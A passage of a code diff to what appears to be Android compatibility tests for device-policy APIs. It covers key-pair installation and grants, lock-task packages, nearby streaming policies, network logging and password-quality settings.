             // Verify only the requested key was actually granted.
@@ -205,13 +227,11 @@
 
     public void testGrantsDoNotPersistBetweenInstallations() throws Exception {
         final String alias = "com.android.test.persistent-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, true))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, true))
                 .isTrue();
         try {
             assertGranted(alias, true);
@@ -224,7 +244,7 @@
         // Install again.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, false))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, false))
                 .isTrue();
         try {
             assertGranted(alias, false);
@@ -236,15 +256,13 @@
 
     public void testNullKeyParamsFailPredictably() throws Exception {
         final String alias = "com.android.test.null-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
         try {
-            mDevicePolicyManager.installKeyPair(getWho(), null, cert, alias);
+            mDevicePolicyManager.installKeyPair(getWho(), null, mFakeCert, alias);
             fail("Exception should have been thrown for null PrivateKey");
         } catch (NullPointerException expected) {
         }
         try {
-            mDevicePolicyManager.installKeyPair(getWho(), privKey, null, alias);
+            mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, null, alias);
             fail("Exception should have been thrown for null Certificate");
         } catch (NullPointerException expected) {
         }
@@ -252,10 +270,8 @@
 
     public void testNullAdminComponentIsDenied() throws Exception {
         final String alias = "com.android.test.null-admin-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
         try {
-            mDevicePolicyManager.installKeyPair(null, privKey, cert, alias);
+            mDevicePolicyManager.installKeyPair(null, mFakePrivKey, mFakeCert, alias);
             fail("Exception should have been thrown for null ComponentName");
         } catch (SecurityException expected) {
         }
@@ -263,13 +279,11 @@
 
     public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
         final String alias = "com.android.test.not-selectable-key-1";
-        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey, "RSA");
-        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
 
         // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
-                        getWho(), privKey, new Certificate[] {cert}, alias, 0))
+                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, 0))
                 .isTrue();
         try {
             // Request and retrieve using the alias.
@@ -379,7 +393,7 @@
         Attestation attestationRecord = Attestation.loadFromCertificate((X509Certificate) leaf);
         AuthorizationList teeAttestation = attestationRecord.getTeeEnforced();
         assertThat(teeAttestation).isNotNull();
-        validateBrandAttestationRecord(teeAttestation);
+        assertThat(teeAttestation.getBrand()).isEqualTo(Build.BRAND);
         assertThat(teeAttestation.getDevice()).isEqualTo(Build.DEVICE);
         assertThat(teeAttestation.getProduct()).isEqualTo(Build.PRODUCT);
         assertThat(teeAttestation.getManufacturer()).isEqualTo(Build.MANUFACTURER);
@@ -389,14 +403,6 @@
         assertThat(teeAttestation.getMeid()).isEqualTo(expectedMeid);
     }
 
-    private void validateBrandAttestationRecord(AuthorizationList teeAttestation) {
-        if (!Build.MODEL.equals("Pixel 2")) {
-            assertThat(teeAttestation.getBrand()).isEqualTo(Build.BRAND);
-        } else {
-            assertThat(teeAttestation.getBrand()).isAnyOf(Build.BRAND, "htc");
-        }
-    }
-
     private void validateAttestationRecord(List<Certificate> attestation, byte[] providedChallenge)
             throws CertificateParsingException {
         assertThat(attestation).isNotNull();
@@ -750,8 +756,7 @@
         }
     }
 
-
-        public void testCanSetKeyPairCert() throws Exception {
+    public void testCanSetKeyPairCert() throws Exception {
         final String alias = "com.android.test.set-ec-1";
         try {
             KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
@@ -809,6 +814,113 @@
         }
     }
 
+    public void testHasKeyPair_NonExistent() {
+        assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    public void testHasKeyPair_Installed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+
+        try {
+            assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
+        } finally {
+            mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
+        }
+    }
+
+    public void testHasKeyPair_Removed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
+
+        assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
+
+    public void testGetKeyPairGrants_NonExistent() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
+    }
+
+    public void testGetKeyPairGrants_NotGranted() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_GrantedAtInstall() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_GrantedExplicitly() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_Revoked() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_SharedUid() throws Exception {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+        final int sharedUid = mContext.getPackageManager()
+                .getApplicationInfo(SHARED_UID_APP1_PKG, 0).uid;
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(Map.of(sharedUid, Set.of(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+    }
+
+    public void testGetKeyPairGrants_DifferentUids() throws Exception {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+        final int sharedUid = mContext.getPackageManager()
+                .getApplicationInfo(SHARED_UID_APP1_PKG, 0).uid;
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEqualTo(Map.of(
+                Process.myUid(), singleton(getWho().getPackageName()),
+                sharedUid, Set.of(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+    }
+
+    public void testIsWifiGrant_default() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+
+        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
+    }
+
+    public void testIsWifiGrant_allowed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
+
+        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isTrue();
+    }
+
+    public void testIsWifiGrant_denied() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
+        assertTrue(mDevicePolicyManager.revokeKeyPairFromWifiAuth(TEST_ALIAS));
+
+        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
+    }
+
     private void assertGranted(String alias, boolean expected)
             throws InterruptedException, KeyChainException {
         boolean granted = (KeyChain.getPrivateKey(mActivity, alias) != null);
@@ -884,7 +996,7 @@
         }
     }
 
-    protected ComponentName getWho() {
+    private ComponentName getWho() {
         return ADMIN_RECEIVER_COMPONENT;
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java
index 667d97a..b23fb0c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockScreenInfoTest.java
@@ -18,9 +18,7 @@
 
 import android.content.ComponentName;
 
-import java.lang.Character;
-
-public class LockScreenInfoTest extends BaseDeviceAdminTest {
+public final class LockScreenInfoTest extends BaseDeviceAdminTest {
 
     @Override
     public void tearDown() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index e6abac7..1552beb 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -271,6 +271,7 @@
                 LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
         if (!lockedActivityIsResumed) {
             launchLockTaskUtilityActivityWithoutStartingLockTask();
+            waitAndCheckLockedActivityIsResumed();
         }
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
index 5ab2307..35e3ee2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
@@ -24,6 +24,8 @@
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertArrayEquals;
 import static org.testng.Assert.assertThrows;
 
@@ -43,9 +45,10 @@
 import android.view.KeyEvent;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import java.time.Duration;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
 public class LockTaskTest extends BaseDeviceAdminTest {
@@ -179,6 +182,48 @@
         assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
     }
 
+    // When OEM defines policy-exempt apps, they are permitted on lock task mode
+    public void testIsLockTaskPermittedIncludesPolicyExemptApps() {
+        Set<String> policyExemptApps = mDevicePolicyManager.getPolicyExemptApps();
+        if (policyExemptApps.isEmpty()) {
+            Log.v(TAG, "OEM doesn't define any policy-exempt app");
+            return;
+        }
+
+        for (String app : policyExemptApps) {
+            assertWithMessage("isLockTaskPermitted(%s)", app)
+                    .that(mDevicePolicyManager.isLockTaskPermitted(app)).isTrue();
+        }
+    }
+
+    // Setting and unsetting the lock task packages when the OEM defines policy-exempt apps
+    public void testSetLockTaskPackagesIgnoresExemptApps() {
+        Set<String> policyExemptApps = mDevicePolicyManager.getPolicyExemptApps();
+        if (policyExemptApps.isEmpty()) {
+            Log.v(TAG, "OEM doesn't define any policy exempt app");
+            return;
+        }
+
+        assertWithMessage("lock task packages initially")
+                .that(mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT)).isEmpty();
+
+
+        String[] packages = new String[] { TEST_PACKAGE };
+        Set<String> expectedLockTaskPackages = new HashSet<>(policyExemptApps);
+        expectedLockTaskPackages.add(TEST_PACKAGE);
+
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, packages);
+
+        assertWithMessage("lock task packages after adding %s", TEST_PACKAGE)
+                .that(mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT)).asList()
+                .containsExactlyElementsIn(expectedLockTaskPackages);
+
+
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+        assertWithMessage("lock task packages after reset")
+                .that(mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT)).isEmpty();
+    }
+
     // Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
     // verifier.
     public void testSetLockTaskFeatures() {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyAppStreamingPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyAppStreamingPolicyTest.java
new file mode 100644
index 0000000..6133424
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyAppStreamingPolicyTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+
+public class NearbyAppStreamingPolicyTest extends BaseDeviceAdminTest {
+
+    public void getNearbyAppStreamingPolicy_getsNearbyStreamingDisabledAsDefault() {
+        assertThat(mDevicePolicyManager.getNearbyAppStreamingPolicy())
+                .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
+    }
+
+    public void setNearbyAppStreamingPolicy_changesPolicy() {
+        mDevicePolicyManager.setNearbyAppStreamingPolicy(
+                DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+
+        assertThat(mDevicePolicyManager.getNearbyAppStreamingPolicy())
+                .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyNotificationStreamingPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyNotificationStreamingPolicyTest.java
new file mode 100644
index 0000000..3004b04
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NearbyNotificationStreamingPolicyTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+
+public class NearbyNotificationStreamingPolicyTest extends BaseDeviceAdminTest {
+
+    public void getNearbyNotificationStreamingPolicy_getsNearbyStreamingDisabledAsDefault() {
+        assertThat(mDevicePolicyManager.getNearbyNotificationStreamingPolicy())
+                .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_DISABLED);
+    }
+
+    public void setNearbyNotificationStreamingPolicy_changesPolicy() {
+        mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
+                DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+
+        assertThat(mDevicePolicyManager.getNearbyNotificationStreamingPolicy())
+                .isEqualTo(DevicePolicyManager.NEARBY_STREAMING_ENABLED);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
new file mode 100644
index 0000000..495b63f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NetworkLoggingTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.ConnectEvent;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.DnsEvent;
+import android.app.admin.NetworkEvent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class NetworkLoggingTest {
+
+    private static final String TAG = "NetworkLoggingTest";
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.deviceandprofileowner";
+    private static final int FAKE_BATCH_TOKEN = -666;
+    private static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
+    private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+
+    // Should not be added to the list of network events.
+    private static final String[] NOT_LOGGED_URLS_LIST = {
+            "wikipedia.org",
+            "wikipedia.com",
+            "google.pl",
+    };
+
+    // Should be added to the list of network events.
+    private static final String[] LOGGED_URLS_LIST = {
+            "example.com",
+            "example.net",
+            "example.org",
+            "example.edu",
+            "ipv6.google.com",
+            "google.co.jp",
+            "google.fr",
+            "google.com.br",
+            "google.com.tr",
+            "google.co.uk",
+            "google.de"
+    };
+
+    private final ArrayList<NetworkEvent> mNetworkEvents = new ArrayList<>();
+    private final NetworkLogsReceiver mReceiver = new NetworkLogsReceiver();
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_true() {
+        mDpm.setNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT, true);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT)).isTrue();
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldBeLogged() {
+        for (final String url : LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldNotBeLogged() {
+        for (final String url : NOT_LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs() throws Exception {
+        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_NETWORK_LOGS_AVAILABLE));
+        mDevice.executeShellCommand("dpm force-network-logs");
+        mReceiver.waitForBroadcast();
+
+        verifyNetworkLogs(mNetworkEvents);
+
+        mContext.unregisterReceiver(mReceiver);
+    }
+
+    private void verifyNetworkLogs(List<NetworkEvent> networkEvents) {
+        int receivedEventsFromLoggedUrlsList = 0;
+
+        for (final NetworkEvent currentEvent : networkEvents) {
+            if (CTS_APP_PACKAGE_NAME.equals(currentEvent.getPackageName())) {
+                if (currentEvent instanceof DnsEvent) {
+                    final DnsEvent dnsEvent = (DnsEvent) currentEvent;
+                    if (Arrays.asList(LOGGED_URLS_LIST).contains(dnsEvent.getHostname())) {
+                        receivedEventsFromLoggedUrlsList++;
+                    // Verify all hostnames looked-up from the personal profile were not logged.
+                    } else {
+                        Truth.assertWithMessage("A hostname that was looked-up from "
+                                + "the personal profile was logged.")
+                                .that(Arrays.asList(NOT_LOGGED_URLS_LIST))
+                                .doesNotContain(dnsEvent.getHostname());
+                    }
+
+                } else if (currentEvent instanceof ConnectEvent) {
+                    final ConnectEvent connectEvent = (ConnectEvent) currentEvent;
+                    final InetAddress ip = connectEvent.getInetAddress();
+                    assertThat(isIpv4OrIpv6Address(ip)).isTrue();
+
+                } else {
+                    fail("An unknown NetworkEvent type logged: "
+                            + currentEvent.getClass().getName());
+                }
+            }
+        }
+        assertThat(receivedEventsFromLoggedUrlsList).isEqualTo(LOGGED_URLS_LIST.length);
+    }
+
+    private boolean isIpv4OrIpv6Address(InetAddress addr) {
+        return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_false() {
+        mDpm.setNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT, false);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(ADMIN_RECEIVER_COMPONENT)).isFalse();
+    }
+
+    @Test
+    public void testSetDelegateScope_delegationNetworkLogging() {
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList(DELEGATION_NETWORK_LOGGING));
+
+        assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
+                .contains(DELEGATION_NETWORK_LOGGING);
+    }
+
+    @Test
+    public void testSetDelegateScope_noDelegation() {
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG,
+                Arrays.asList());
+
+        assertThat(mDpm.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_APP_PKG))
+                .doesNotContain(DELEGATION_NETWORK_LOGGING);
+    }
+
+    private void connectToWebsite(String server) {
+        HttpURLConnection urlConnection = null;
+        try {
+            final URL url = new URL("https://" + server);
+            urlConnection = (HttpURLConnection) url.openConnection();
+            urlConnection.setConnectTimeout(2000);
+            urlConnection.setReadTimeout(2000);
+            urlConnection.getResponseCode();
+        } catch (IOException e) {
+            Log.w(TAG, "Failed to connect to " + server, e);
+        } finally {
+            if (urlConnection != null) {
+                urlConnection.disconnect();
+            }
+        }
+    }
+
+    private class NetworkLogsReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mBatchCountDown = new CountDownLatch(1);
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
+                final long token =
+                        intent.getLongExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, FAKE_BATCH_TOKEN);
+                final List<NetworkEvent> events =
+                        mDpm.retrieveNetworkLogs(ADMIN_RECEIVER_COMPONENT, token);
+                if (events == null) {
+                    fail("Failed to retrieve batch of network logs with batch token " + token);
+                } else {
+                    mNetworkEvents.addAll(events);
+                    mBatchCountDown.countDown();
+                }
+            }
+        }
+
+        private void waitForBroadcast() throws InterruptedException {
+            mReceiver.mBatchCountDown.await(3, TimeUnit.MINUTES);
+            if (mReceiver.mBatchCountDown.getCount() > 0) {
+                fail("Did not get DeviceAdminReceiver#onNetworkLogsAvailable callback");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index 44097cc..ad7208c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
@@ -147,4 +150,17 @@
                         restriction));
     }
 
+    public void testCanSetPasswordQualityOnParent() {
+        mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.getPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            // Cleanup
+            mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
new file mode 100644
index 0000000..3a851ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+/** Tests minimum password restriction APIs, including on parent profile instances. */
+public class PasswordMinimumRestrictionsTest extends BaseDeviceAdminTest {
+
+    private static final int TEST_PASSWORD_LENGTH = 5;
